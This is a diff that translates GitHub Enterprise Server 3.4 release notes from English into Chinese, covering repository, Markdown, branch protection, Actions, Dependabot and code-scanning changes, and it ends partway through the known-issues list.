- - Members of organizations can now view a list of their enterprise owners under the organization's "People" tab. The enterprise owners list is also now accessible using the GraphQL API. For more information, see the "[`enterpriseOwners`](/graphql/reference/objects#organization)" field under the Organization object in the GraphQL API documentation. + - "组织成员现可在组织的“人员”选项卡下查看其企业所有者的列表。企业所有者列表现在也可使用 GraphQL API 进行访问。有关详细信息,请参阅 GraphQL API 文档中组织对象下的“[`enterpriseOwners`](/graphql/reference/objects#organization)”字段。" - - heading: Repositories changes + - heading: 存储库更改 notes: # https://github.com/github/releases/issues/1944 - - | - A "Manage Access" section is now shown on the "Collaborators and teams" page in your repository settings. The new section makes it easier for repository administrators to see and manage who has access to their repository, and the level of access granted to each user. Administrators can now: + - |“管理访问权限”部分现在显示在存储库设置的“协作者和团队”页上。新部分使存储库管理员能够更轻松地查看和管理谁有权访问其存储库,以及授予每个用户的访问权限级别。管理员现在可以: - * Search all members, teams and collaborators who have access to the repository. - * View when members have mixed role assignments, granted to them directly as individuals or indirectly via a team. This is visualized through a new "mixed roles" warning, which displays the highest level role the user is granted if their permission level is higher than their assigned role. - * Manage access to popular repositories reliably, with page pagination and fewer timeouts when large groups of users have access. + +* 搜索有权访问存储库的所有成员、团队和协作者。 + +* 查看成员何时具有混合角色分配,直接作为个人授予他们或通过团队间接授予他们。这通过新的“混合角色”警告可视化,该警告显示如果用户的权限级别高于其分配的角色,则会显示授予用户的最高级别角色。 + +* 可靠地管理对常用存储库的访问,当大型用户组具有访问权限时,将拥有页面分页功能且超时更少。 + +| # https://github.com/github/releases/issues/1748 - - '{% data variables.product.prodname_ghe_server %} 3.4 includes improvements to the repository invitation experience, such as notifications for private repository invites, a UI prompt when visiting a private repository you have a pending invitation for, and a banner on a public repository overview page when there is an pending invitation.' + - '{% data variables.product.prodname_ghe_server %} 3.4 包括对存储库邀请体验的改进,例如专用存储库邀请的通知、访问你有待处理邀请的专用存储库时的 UI 提示,以及有待处理的邀请时公共存储库概述页面上的横幅。' # https://github.com/github/releases/issues/1739 - - You can now use single-character prefixes for custom autolinks. Autolink prefixes also now allow `.`, `-`, `_`, `+`, `=`, `:`, `/`, and `#` characters, as well as alphanumerics. For more information about custom autolinks, see "[Configuring autolinks to reference external resources](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources)." + - "现在,可以将单字符前缀用于自定义自动链接。自动链接前缀现在还允许使用`.`、`-`、`_`、`+`、`=`、`:`、`/` 和 `#` 字符以及字母数字。有关自定义自动链接的详细信息,请参阅“[配置自动链接以引用外部资源](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources)”。" # https://github.com/github/releases/issues/1776 - - A `CODE_OF_CONDUCT.md` file in the root of a repository is now highlighted in the "About" sidebar on the repository overview page. + - 存储库根目录中的 `CODE_OF_CONDUCT.md` 文件现在在存储库概述页上的“关于”边栏中突出显示。 - - heading: 'Releases changes' + - heading: '版本更改' notes: # https://github.com/github/releases/issues/1723 - - '{% data variables.product.prodname_ghe_server %} 3.4 includes improvements to the Releases UI, such as automatically generated release notes which display a summary of all the pull requests for a given release. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-20-improvements-to-github-releases-generally-available/)."' + - '{% data variables.product.prodname_ghe_server %} 3.4 包括对版本 UI 的改进,例如自动生成的发行说明,其中显示给定发行版的所有拉取请求的摘要。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-10-20-improvements-to-github-releases-generally-available/)”。' # https://github.com/github/releases/issues/1606 - - When a release is published, an avatar list is now displayed at the bottom of the release. Avatars for all user accounts mentioned in the release notes are shown. For more information, see "[Managing releases in a repository](/repositories/releasing-projects-on-github/managing-releases-in-a-repository)." + - "发布版本后,头像列现在会显示在版本底部。将显示发行说明中提到的所有用户帐户的头像。有关详细信息,请参阅“[管理存储库中的发布](/repositories/releasing-projects-on-github/managing-releases-in-a-repository)”。" - - heading: 'Markdown changes' + - heading: 'Markdown 更改' notes: # https://github.com/github/releases/issues/1779 - - You can now use the new "Accessibility" settings page to manage your keyboard shortcuts. You can choose to disable keyboard shortcuts that only use single characters like S, G C, and . (the period key). For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-16-managing-keyboard-shortcuts-using-accessibility-settings/)." + - "现在,可以使用新的“辅助功能”设置页来管理键盘快捷方式。可以选择禁用仅使用单个字符的键盘快捷方式,如 SG C.(句点键)。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-11-16-managing-keyboard-shortcuts-using-accessibility-settings/)”。" # https://github.com/github/releases/issues/1727 - - You can now choose to use a fixed-width font in Markdown-enabled fields, like issue comments and pull request descriptions. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-12-fixed-width-font-support-in-markdown-enabled-fields/)." + - "现在,可以选择在启用了 Markdown 的字段中使用固定宽度的字体,例如问题注释和拉取请求说明。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-10-12-fixed-width-font-support-in-markdown-enabled-fields/)”。" # https://github.com/github/releases/issues/1761 - - You can now paste a URL on selected text to quickly create a Markdown link. This works in all Markdown-enabled fields, such as issue comments and pull request descriptions. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-linkify-selected-text-on-url-paste/)." + - "现在,可以将 URL 粘贴到所选文本上,以快速创建 Markdown 链接。这适用于所有启用了 Markdown 的字段,例如问题注释和拉取请求说明。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-11-10-linkify-selected-text-on-url-paste/)”。" # https://github.com/github/releases/issues/1758 - - An image URL can now be appended with a theme context, such as `#gh-dark-mode-only`, to define how the Markdown image is displayed to a viewer. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-24-specify-theme-context-for-images-in-markdown/)." + - "图像 URL 现在可以附加主题上下文(例如 `#gh-dark-mode-only`),以定义向查看者显示 Markdown 图像的方式。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-11-24-specify-theme-context-for-images-in-markdown/)”。" # https://github.com/github/releases/issues/1686 - - When creating or editing a gist file with the Markdown (`.md`) file extension, you can now use the "Preview" or "Preview Changes" tab to display a Markdown rendering of the file contents. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-17-preview-the-markdown-rendering-of-gists/)." + - "创建或编辑具有 Markdown (`.md`) 文件扩展名的 gist 文件时,现在可以使用“预览”或“预览更改”选项卡来显示文件内容的 Markdown 呈现。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-11-17-preview-the-markdown-rendering-of-gists/)”。" # https://github.com/github/releases/issues/1754 - - When typing the name of a {% data variables.product.prodname_dotcom %} user in issues, pull requests and discussions, the @mention suggester now ranks existing participants higher than other {% data variables.product.prodname_dotcom %} users, so that it's more likely the user you're looking for will be listed. + - "在问题、拉取请求和讨论中键入 {% data variables.product.prodname_dotcom %} 用户的名称时,@mention 建议器现在排名高于其他 {% data variables.product.prodname_dotcom %} 用户的现有参与者,以便更有可能列出要查找的用户。" # https://github.com/github/releases/issues/1636 - - Right-to-left languages are now supported natively in Markdown files, issues, pull requests, discussions, and comments. + - Markdown 文件、问题、拉取请求、讨论和注释中现本机支持从右到左的语言。 - - heading: 'Issues and pull requests changes' + - heading: '问题和拉取请求更改' notes: # https://github.com/github/releases/issues/1731 - - The diff setting to hide whitespace changes in the pull request "Files changed" tab is now retained for your user account for that pull request. The setting you have chosen is automatically reapplied if you navigate away from the page and then revisit the "Files changed" tab of the same pull request. + - 现在,对于该拉取请求的用户帐户,保留用于隐藏拉取请求“文件已更改”选项卡中的空格更改的差异设置。如果离开页面,然后重新访问同一拉取请求的“文件已更改”选项卡,则会自动重新应用所选设置。 # https://github.com/github/releases/issues/1663 - - When using auto assignment for pull request code reviews, you can now choose to only notify requested team members independently of your auto assignment settings. This setting is useful in scenarios where many users are auto assigned but not all users require notification. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-team-member-pull-request-review-notifications-can-be-configured-independently-of-auto-assignment/)." + - "使用自动分配进行拉取请求代码评审时,现在可以选择仅通知请求的团队成员,而与自动分配设置无关。在自动分配了许多用户但并非所有用户都需要通知的情况下,此设置很有用。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-11-10-team-member-pull-request-review-notifications-can-be-configured-independently-of-auto-assignment/)”。" - - heading: 'Branches changes' + - heading: '分支更改' notes: # https://github.com/github/releases/issues/1526 - - Organization and repository administrators can now trigger webhooks to listen for changes to branch protection rules on their repositories. For more information, see the "[branch_protection_rule](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#branch_protection_rule)" event in the webhooks events and payloads documentation. + - "组织和存储库管理员现在可以触发 Webhook 来侦听对其存储库上的分支保护规则的更改。有关详细信息,请参阅 Webhook 事件和有效负载文档中的“[branch_protection_rule](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#branch_protection_rule)”事件。" # https://github.com/github/releases/issues/1759 - - When configuring protected branches, you can now enforce that a required status check is provided by a specific {% data variables.product.prodname_github_app %}. If a status is then provided by a different application, or by a user via a commit status, merging is prevented. This ensures all changes are validated by the intended application. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-12-01-ensure-required-status-checks-provided-by-the-intended-app/)." + - "配置受保护的分支时,现在可以强制要求的状态检查由特定的 {% data variables.product.prodname_github_app %} 提供。如果状态随后由其他应用程序提供,或者由用户通过提交状态提供,则会阻止合并。这可确保所有更改都由预期的应用程序进行验证。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-12-01-ensure-required-status-checks-provided-by-the-intended-app/)”。" # https://github.com/github/releases/issues/1911 - - Only users with administrator permissions are now able to rename protected branches and modify branch protection rules. Previously, with the exception of the default branch, a collaborator could rename a branch and consequently any non-wildcard branch protection rules that applied to that branch were also renamed. For more information, see "[Renaming a branch](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch)" and "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule)." + - "现在,只有具有管理员权限的用户才能重命名受保护的分支并修改分支保护规则。以前,除默认分支外,协作者可以重命名分支,因此,应用于该分支的任何非通配符分支保护规则也会被重命名。有关详细信息,请参阅“[重命名分支](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch)”和“[管理分支保护规则](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule)”。" # https://github.com/github/releases/issues/1845 - - Administrators can now allow only specific users and teams to bypass pull request requirements. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-19-allow-bypassing-required-pull-requests/)." + - "管理员现在可以只允许特定用户和团队绕过拉取请求要求。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-11-19-allow-bypassing-required-pull-requests/)”。" # https://github.com/github/releases/issues/1850 - - Administrators can now allow only specific users and teams to force push to a repository. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-12-21-specify-who-can-force-push-to-a-repository/)." + - "管理员现在可以只允许特定用户和团队强制推送到存储库。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-12-21-specify-who-can-force-push-to-a-repository/)”。" # https://github.com/github/releases/issues/1796 - - When requiring pull requests for all changes to a protected branch, administrators can now choose if approved reviews are also a requirement. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-require-pull-requests-without-requiring-reviews/)." + - "当要求对受保护分支的所有更改进行拉取请求时,管理员现在可以选择是否还需要批准的审阅。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-11-10-require-pull-requests-without-requiring-reviews/)”。" - - heading: 'GitHub Actions changes' + - heading: 'GitHub Actions 更改' notes: # https://github.com/github/releases/issues/1906 - - '{% data variables.product.prodname_actions %} workflows triggered by {% data variables.product.prodname_dependabot %} for the `create`, `deployment`, and `deployment_status` events now always receive a read-only token and no secrets. Similarly, workflows triggered by {% data variables.product.prodname_dependabot %} for the `pull_request_target` event on pull requests where the base ref was created by {% data variables.product.prodname_dependabot %}, now always receive a read-only token and no secrets. These changes are designed to prevent potentially malicious code from executing in a privileged workflow. For more information, see "[Automating {% data variables.product.prodname_dependabot %} with {% data variables.product.prodname_actions %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions)."' + - '{% data variables.product.prodname_actions %} 工作流由 {% data variables.product.prodname_dependabot %} 触发,`create`、`deployment` 和 `deployment_status` 事件现在始终接收只读令牌,并且没有机密。同样,由 {% data variables.product.prodname_dependabot %} 触发的工作流用于拉取请求上的 `pull_request_target` 事件,其中基本引用是由 {% data variables.product.prodname_dependabot %} 创建的,现在始终收到只读令牌,没有机密。这些更改旨在防止在特权工作流中执行潜在的恶意代码。有关详细信息,请参阅“[使用 {% data variables.product.prodname_actions %} 自动化 {% data variables.product.prodname_dependabot %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions)”。' # https://github.com/github/releases/issues/1667 - - Workflow runs on `push` and `pull_request` events triggered by {% data variables.product.prodname_dependabot %} will now respect the permissions specified in your workflows, allowing you to control how you manage automatic dependency updates. The default token permissions will remain read-only. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-06-github-actions-workflows-triggered-by-dependabot-prs-will-respect-permissions-key-in-workflows/)." + - "在由 {% data variables.product.prodname_dependabot %} 触发的 `push` 和 `pull_request` 事件上运行的工作流现在将遵循工作流中指定的权限,使你能够控制如何管理自动依赖项更新。默认令牌权限将保持只读。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 日志更改](https://github.blog/changelog/2021-10-06-github-actions-workflows-triggered-by-dependabot-prs-will-respect-permissions-key-in-workflows/)”。" # https://github.com/github/releases/issues/1668 - - '{% data variables.product.prodname_actions %} workflows triggered by {% data variables.product.prodname_dependabot %} will now be sent the {% data variables.product.prodname_dependabot %} secrets. You can now pull from private package registries in your CI using the same secrets you have configured for {% data variables.product.prodname_dependabot %} to use, improving how {% data variables.product.prodname_actions %} and {% data variables.product.prodname_dependabot %} work together. For more information, see "[Automating {% data variables.product.prodname_dependabot %} with {% data variables.product.prodname_actions %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions)."' + - '由 {% data variables.product.prodname_dependabot %} 触发的 {% data variables.product.prodname_actions %} 工作流现在将发送到 {% data variables.product.prodname_dependabot %} 机密。现在,可以使用为要使用的 {% data variables.product.prodname_dependabot %} 配置的相同机密从 CI 中的专用包注册表中提取,从而改进 {% data variables.product.prodname_actions %} 和 {% data variables.product.prodname_dependabot %} 协同工作的方式。有关详细信息,请参阅“[使用 {% data variables.product.prodname_actions %} 自动化 {% data variables.product.prodname_dependabot %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions)”。' # https://github.com/github/releases/issues/1615 - - You can now manage runner groups and see the status of your self-hosted runners using new Runners and Runner Groups pages in the UI. The Actions settings page for your repository or organization now shows a summary view of your runners, and allows you to deep dive into a specific runner to edit it or see what job it may be currently running. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-20-github-actions-experience-refresh-for-the-management-of-self-hosted-runners/)." + - "现在,可以使用 UI 中新的“运行器”和“运行器组”页面管理运行器组,并查看自承载运行器的状态。存储库或组织的“操作设置”页面现在显示运行器的摘要视图,并使你能够深入了解特定运行器以对其进行编辑或查看当前可能正在运行的作业。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-09-20-github-actions-experience-refresh-for-the-management-of-self-hosted-runners/)”。" # https://github.com/github/releases/issues/1785 - - 'Actions authors can now have their action run in Node.js 16 by specifying [`runs.using` as `node16` in the action''s `action.yml`](/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-javascript-actions). This is in addition to the existing Node.js 12 support; actions can continue to specify `runs.using: node12` to use the Node.js 12 runtime.' + - '操作作者现在可以通过指定[在操作的 `action.yml` 中 `runs.using` 作为 `node16`](/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-javascript-actions) 在 Node.js 16 中运行其操作。这是对现有 Node.js 12 支持的补充;操作可以继续指定 `runs.using: node12` 以使用 Node.js 12 运行时。' # https://github.com/github/releases/issues/1799 - - 'For manually triggered workflows, {% data variables.product.prodname_actions %} now supports the `choice`, `boolean`, and `environment` input types in addition to the default `string` type. For more information, see "[`on.workflow_dispatch.inputs`](/actions/using-workflows/workflow-syntax-for-github-actions#onworkflow_dispatchinputs)."' + - '对于手动触发的工作流,除了默认 `string` 类型外,{% data variables.product.prodname_actions %} 现在还支持 `choice`、`boolean` 和 `environment` 输入类型。有关详细信息,请参阅“[`on.workflow_dispatch.inputs`](/actions/using-workflows/workflow-syntax-for-github-actions#onworkflow_dispatchinputs)”。' # https://github.com/github/releases/issues/1782 - - Actions written in YAML, also known as composite actions, now support `if` conditionals. This lets you prevent specific steps from executing unless a condition has been met. Like steps defined in workflows, you can use any supported context and expression to create a conditional. + - 用 YAML 编写的操作(也称为复合操作)现在支持 `if` 条件。这使你可以阻止执行特定步骤,除非满足条件。与工作流中定义的步骤一样,你可以使用任何受支持的上下文和表达式来创建条件。 # https://github.com/github/releases/issues/1919 - - The search order behavior for self-hosted runners has now changed, so that the first available matching runner at any level will run the job in all cases. This allows jobs to be sent to self-hosted runners much faster, especially for organizations and enterprises with lots of self-hosted runners. Previously, when running a job that required a self-hosted runner, {% data variables.product.prodname_actions %} would look for self-hosted runners in the repository, organization, and enterprise, in that order. + - "自承载运行器的搜索顺序行为现已更改,因此任何级别的第一个可用匹配运行器将在所有情况下运行作业。这样可以更快地将作业发送给自承载运行器,特别是对于具有大量自承载运行器的组织和企业。以前,在运行需要自承载运行器的作业时,{% data variables.product.prodname_actions %} 将按该顺序在存储库、组织和企业中查找自承载运行器。" # https://github.com/github/releases/issues/1753 - - Runner labels for {% data variables.product.prodname_actions %} self-hosted runners can now be listed, added and removed using the REST API. For more information about using the new APIs at a repository, organization, or enterprise level, see "[Repositories](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-a-repository)", "[Organizations](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-an-organization)", and "[Enterprises](/rest/reference/enterprise-admin#list-labels-for-a-self-hosted-runner-for-an-enterprise)" in the REST API documentation. + - "现在可以使用 REST API 列出、添加和删除 {% data variables.product.prodname_actions %} 自承载运行器的运行器标签。有关在存储库、组织或企业级别使用新 API 的详细信息,请参阅 REST API 文档中的“[存储库](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-a-repository)”、“[组织](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-an-organization)”和“[企业](/rest/reference/enterprise-admin#list-labels-for-a-self-hosted-runner-for-an-enterprise)”。" - - heading: 'Dependabot and Dependency graph changes' + - heading: 'Dependabot 和依赖项关系图更改' notes: # https://github.com/github/releases/issues/1520 - - Dependency graph now supports detecting Python dependencies in repositories that use the Poetry package manager. Dependencies will be detected from both `pyproject.toml` and `poetry.lock` manifest files. + - 依赖项关系图现支持在使用 Poetry 包管理器的存储库中检测 Python 依赖项。将从 `pyproject.toml` 和 `poetry.lock` 清单文件中检测依赖项。 # https://github.com/github/releases/issues/1921 - - When configuring {% data variables.product.prodname_dependabot %} security and version updates on GitHub Enterprise Server, we recommend you also enable {% data variables.product.prodname_dependabot %} in {% data variables.product.prodname_github_connect %}. This will allow {% data variables.product.prodname_dependabot %} to retrieve an updated list of dependencies and vulnerabilities from {% data variables.product.prodname_dotcom_the_website %}, by querying for information such as the changelogs of the public releases of open source code that you depend upon. For more information, see "[Enabling the dependency graph and Dependabot alerts for your enterprise](/admin/configuration/configuring-github-connect/enabling-the-dependency-graph-and-dependabot-alerts-for-your-enterprise)." + - "在 GitHub Enterprise Server 上配置 {% data variables.product.prodname_dependabot %} 安全性和版本更新时,还建议在 {% data variables.product.prodname_github_connect %} 中启用 {% data variables.product.prodname_dependabot %}。这将允许 {% data variables.product.prodname_dependabot %} 通过查询你依赖的开源代码的公共版本的更改日志等信息,从 {% data variables.product.prodname_dotcom_the_website %} 中检索更新的依赖项和漏洞列表。有关详细信息,请参阅“[为企业启用依赖项关系图和 Dependabot 警报](/admin/configuration/configuring-github-connect/enabling-the-dependency-graph-and-dependabot-alerts-for-your-enterprise)”。" # https://github.com/github/releases/issues/1717 - - '{% data variables.product.prodname_dependabot_alerts %} alerts can now be dismissed using the GraphQL API. For more information, see the "[dismissRepositoryVulnerabilityAlert](/graphql/reference/mutations#dismissrepositoryvulnerabilityalert)" mutation in the GraphQL API documentation.' + - '现在,可以使用 GraphQL API 消除 {% data variables.product.prodname_dependabot_alerts %} 警报。有关详细信息,请参阅 GraphQL API 文档中的“[dismissRepositoryVulnerabilityAlert](/graphql/reference/mutations#dismissrepositoryvulnerabilityalert)”突变。' - - heading: 'Code scanning and secret scanning changes' + - heading: '代码扫描和机密扫描更改' notes: # https://github.com/github/releases/issues/1802 - - The {% data variables.product.prodname_codeql %} CLI now supports including markdown-rendered query help in SARIF files, so that the help text can be viewed in the {% data variables.product.prodname_code_scanning %} UI when the query generates an alert. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-23-display-help-text-for-your-custom-codeql-queries-in-code-scanning/)." + - "{% data variables.product.prodname_codeql %} CLI 现支持在 SARIF 文件中包括标记呈现的查询帮助,以便在查询生成警报时,可以在 {% data variables.product.prodname_code_scanning %} UI 中查看帮助文本。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-11-23-display-help-text-for-your-custom-codeql-queries-in-code-scanning/)”。" # https://github.com/github/releases/issues/1790 - - The {% data variables.product.prodname_codeql %} CLI and {% data variables.product.prodname_vscode %} extension now support building databases and analyzing code on machines powered by Apple Silicon, such as Apple M1. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-codeql-now-supports-apple-silicon-m1/)." + - "{% data variables.product.prodname_codeql %} CLI 和 {% data variables.product.prodname_vscode %} 扩展现支持在由 Apple Silicon 提供支持的计算(如 Apple M1)上构建数据库和分析代码。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-11-10-codeql-now-supports-apple-silicon-m1/)”。" # https://github.com/github/releases/issues/1732 - - | - The depth of {% data variables.product.prodname_codeql %}'s analysis has been improved by adding support for more [libraries and frameworks](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/) from the Python ecosystem. As a result, {% data variables.product.prodname_codeql %} can now detect even more potential sources of untrusted user data, steps through which that data flows, and potentially dangerous sinks where the data could end up. This results in an overall improvement of the quality of {% data variables.product.prodname_code_scanning %} alerts. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-24-codeql-code-scanning-now-recognizes-more-python-libraries-and-frameworks/)." + - |通过添加对 Python 生态系统中更多[库和框架](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/)的支持,{% data variables.product.prodname_codeql %} 的分析深度得到了改进。因此,{% data variables.product.prodname_codeql %} 现在可以检测更多不受信任的用户数据的潜在来源、数据流经的步骤以及数据可能最终到达的潜在危险接收器。这使得 {% data variables.product.prodname_code_scanning %} 警报的质量得到了全面的提高。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-11-24-codeql-code-scanning-now-recognizes-more-python-libraries-and-frameworks/)”。 +| # https://github.com/github/releases/issues/1567 - - Code scanning with {% data variables.product.prodname_codeql %} now includes beta support for analyzing code in all common Ruby versions, up to and including 3.02. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-27-codeql-code-scanning-adds-beta-support-for-ruby/)." + - "使用 {% data variables.product.prodname_codeql %} 进行代码扫描现在包括对分析所有常见 Ruby 版本中的代码的 beta 版本支持,直到 3.02 版本(包括 3.02)。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-10-27-codeql-code-scanning-adds-beta-support-for-ruby/)”。" # https://github.com/github/releases/issues/1764 - - | - Several improvements have been made to the {% data variables.product.prodname_code_scanning %} API: + - |对 {% data variables.product.prodname_code_scanning %} API 进行了多项改进: - * The `fixed_at` timestamp has been added to alerts. This timestamp is the first time that the alert was not detected in an analysis. - * Alert results can now be sorted using `sort` and `direction` on either `created`, `updated` or `number`. For more information, see "[List code scanning alerts for a repository](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository)." - * A `Last-Modified` header has been added to the alerts and alert endpoint response. For more information, see [`Last-Modified`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Last-Modified) in the Mozilla documentation. - * The `relatedLocations` field has been added to the SARIF response when you request a code scanning analysis. The field may contain locations which are not the primary location of the alert. See an example in the [SARIF spec](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012616) and for more information see "[Get a code scanning analysis for a repository](/rest/reference/code-scanning#get-a-code-scanning-analysis-for-a-repository)." - * Both `help` and `tags` data have been added to the webhook response alert rule object. For more information, see "[Code scanning alert webhooks events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#code_scanning_alert)." - * Personal access tokens with the `public_repo` scope now have write access for code scanning endpoints on public repos, if the user has permission. - For more information, see "[Code scanning](/rest/reference/code-scanning)" in the REST API documentation. +*`fixed_at` 时间戳已添加到警报中。此时间戳是首次在分析中未检测到警报。 + +* 现在可以使用 `created`、`updated` 或 `number` 上的 `sort` 和 `direction` 对警报结果进行排序。有关详细信息,请参阅“[列出存储库的代码扫描警报](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository)”。 + +* `Last-Modified` 标头已添加到警报和警报终结点响应中。有关详细信息,请参阅 Mozilla 文档中的 [`Last-Modified`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Last-Modified)。 + +* 请求代码扫描分析时,`relatedLocations` 字段已添加到 SARIF 响应中。该字段可能包含不是警报主要位置的位置。请参阅 [SARIF 规范](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012616)中的示例,有关详细信息,请参阅“[获取存储库的代码扫描分析](/rest/reference/code-scanning#get-a-code-scanning-analysis-for-a-repository)”。 + +* `help` 和 `tags` 数据均已添加到 Webhook 响应警报规则对象中。有关详细信息,请参阅“[代码扫描警报 Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#code_scanning_alert)”。 + +* 如果用户具有权限,则具有 `public_repo` 范围的个人访问令牌现在具有对公共存储库上的代码扫描终结点的写入访问权限。 + + + +有关详细信息,请参阅 REST API 文档中的“[代码扫描](/rest/reference/code-scanning)”。 + +| # https://github.com/github/releases/issues/1943 - - '{% data variables.product.prodname_GH_advanced_security %} customers can now use the REST API to retrieve private repository secret scanning results at the enterprise level. The new endpoint supplements the existing repository-level and organization-level endpoints. For more information, see "[Secret scanning](/rest/reference/secret-scanning)" in the REST API documentation.' + - '{% data variables.product.prodname_GH_advanced_security %} 客户现在可以使用 REST API 在企业级别检索专用存储库机密扫描结果。新终结点是对现有存储库级别和组织级别终结点的补充。有关详细信息,请参阅 REST API 文档中的“[机密扫描](/rest/reference/secret-scanning)”。' - - heading: Mobile changes + - heading: 移动更改 notes: # https://github.com/github/mobile/issues/2440 # https://github.com/github/enterprise2/pull/28057 - - Support for {% data variables.product.prodname_mobile %} is now enabled by default for new {% data variables.product.prodname_ghe_server %} instances. If you have not explicitly disabled or enabled {% data variables.product.prodname_mobile %}, {% data variables.product.prodname_mobile %} will be enabled when you upgrade to {% data variables.product.prodname_ghe_server %} 3.4.0 or later. If you previously disabled or enabled {% data variables.product.prodname_mobile %} for your instance, your preference will be preserved upon upgrade. For more information, see "[Managing {% data variables.product.prodname_mobile %} for your enterprise](/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise)." + - "现在默认为新 {% data variables.product.prodname_ghe_server %} 实例启用对 {% data variables.product.prodname_mobile %} 的支持。如果未显式禁用或启用 {% data variables.product.prodname_mobile %},则在升级到 {% data variables.product.prodname_ghe_server %} 3.4.0 或更高版本时将启用 {% data variables.product.prodname_mobile %}。如果以前为实例禁用或启用了 {% data variables.product.prodname_mobile %},则升级后将保留首选项。有关详细信息,请参阅“[管理企业的 {% data variables.product.prodname_mobile %}](/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise)”。" + # No security/bug fixes for the GA release # security_fixes: @@ -241,76 +248,86 @@ sections: # - PLACEHOLDER known_issues: - - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. - - Custom firewall rules are removed during the upgrade process. - - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. - - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. - - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in 